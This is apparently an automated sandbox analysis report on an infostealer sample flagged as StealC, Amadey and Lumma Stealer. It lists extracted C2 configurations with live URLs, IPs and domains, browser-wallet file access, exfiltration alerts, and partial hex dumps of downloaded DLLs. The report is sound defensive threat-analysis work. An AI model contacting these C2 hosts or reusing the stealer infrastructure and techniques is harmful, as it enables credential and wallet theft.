2024-11-27T18:00:08.755963+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.7	54551	104.121.10.34	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://disobey-curly.sbs:443/api	Avira URL Cloud: Label: malware
Source: https://powerful-avoids.sbs/l	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpAB	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php/i	Avira URL Cloud: Label: malware
Source: https://marshal-zhukov.com/apiT	Avira URL Cloud: Label: malware
Source: https://marshal-zhukov.com/apiM	Avira URL Cloud: Label: malware
Source: https://marshal-zhukov.com/l	Avira URL Cloud: Label: malware
Source: https://marshal-zhukov.com/U	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000020.00000002.2545609227.0000000000081000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.7316.1.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[2].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1009655001\38e11d9cb7.exe	ReversingLabs: Detection: 36%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CECA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	1_2_6CECA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEC44C0 PK11_PubEncrypt,	1_2_6CEC44C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEC4440 PK11_PrivDecrypt,	1_2_6CEC4440
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE94420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	1_2_6CE94420
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF125B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	1_2_6CF125B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEAE6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	1_2_6CEAE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEA8670 PK11_ExportEncryptedPrivKeyInfo,	1_2_6CEA8670
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CECA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	1_2_6CECA650
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEEA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	1_2_6CEEA730
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEF0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	1_2_6CEF0180
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEC43B0 PK11_PubEncryptPKCS1,PR_SetError,	1_2_6CEC43B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEE7C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	1_2_6CEE7C00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEA7D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	1_2_6CEA7D60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEEBD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	1_2_6CEEBD30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEE9EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	1_2_6CEE9EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEC3FF0 PK11_PrivDecryptPKCS1,	1_2_6CEC3FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEC9840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	1_2_6CEC9840
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEC3850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	1_2_6CEC3850

Source: dd3583c805.exe, 00000023.00000003.2306326130.00000000073DF000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_45561813-9

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.7:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.214.206.19:443 -> 192.168.2.7:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.214.206.19:443 -> 192.168.2.7:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.10:443 -> 192.168.2.7:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.10:443 -> 192.168.2.7:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.7:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.121.10.34:443 -> 192.168.2.7:54551 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.82.174:443 -> 192.168.2.7:54556 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.82.174:443 -> 192.168.2.7:54567 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.82.174:443 -> 192.168.2.7:54580 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:54606 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:54608 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:54607 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.7:54622 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:54630 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:54629 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:54633 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.7:54634 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:54641 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000001.00000002.1924619080.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000001.00000002.1924619080.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 30MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49702 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.7:49702 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.7:49702
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.7:49702 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.7:49702
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.7:49702 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:50027 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.7:54491
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:54526 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057836 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (property-imper .sbs) : 192.168.2.7:56374 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057818 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogs-severz .sbs) : 192.168.2.7:58693 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057824 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (leg-sate-boat .sbs) : 192.168.2.7:57864 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057834 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (powerful-avoids .sbs) : 192.168.2.7:58326 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057830 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (occupy-blushi .sbs) : 192.168.2.7:59978 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057842 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (story-tense-faz .sbs) : 192.168.2.7:60515 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057812 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (blade-govern .sbs) : 192.168.2.7:50622 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:54544 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057814 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (disobey-curly .sbs) : 192.168.2.7:55188 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057415 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (marshal-zhukov .com) : 192.168.2.7:60911 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057826 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (motion-treesz .sbs) : 192.168.2.7:56495 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057416 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (marshal-zhukov .com in TLS SNI) : 192.168.2.7:54556 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2057416 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (marshal-zhukov .com in TLS SNI) : 192.168.2.7:54567 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:54566 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:54570 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057416 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (marshal-zhukov .com in TLS SNI) : 192.168.2.7:54580 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2057836 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (property-imper .sbs) : 192.168.2.7:50567 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057818 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogs-severz .sbs) : 192.168.2.7:62265 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057830 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (occupy-blushi .sbs) : 192.168.2.7:57940 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057812 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (blade-govern .sbs) : 192.168.2.7:61229 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057824 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (leg-sate-boat .sbs) : 192.168.2.7:50295 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057814 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (disobey-curly .sbs) : 192.168.2.7:50989 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057826 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (motion-treesz .sbs) : 192.168.2.7:62580 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057834 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (powerful-avoids .sbs) : 192.168.2.7:53130 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:54586 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057842 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (story-tense-faz .sbs) : 192.168.2.7:59313 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:54625 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.7:54551 -> 104.121.10.34:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:54556 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:54580 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:54556 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:54567 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:54567 -> 104.21.82.174:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: unknown

Network traffic detected: DNS query count 51

Source: global traffic

TCP traffic: 192.168.2.7:54490 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Nov 2024 16:58:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Nov 2024 16:58:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 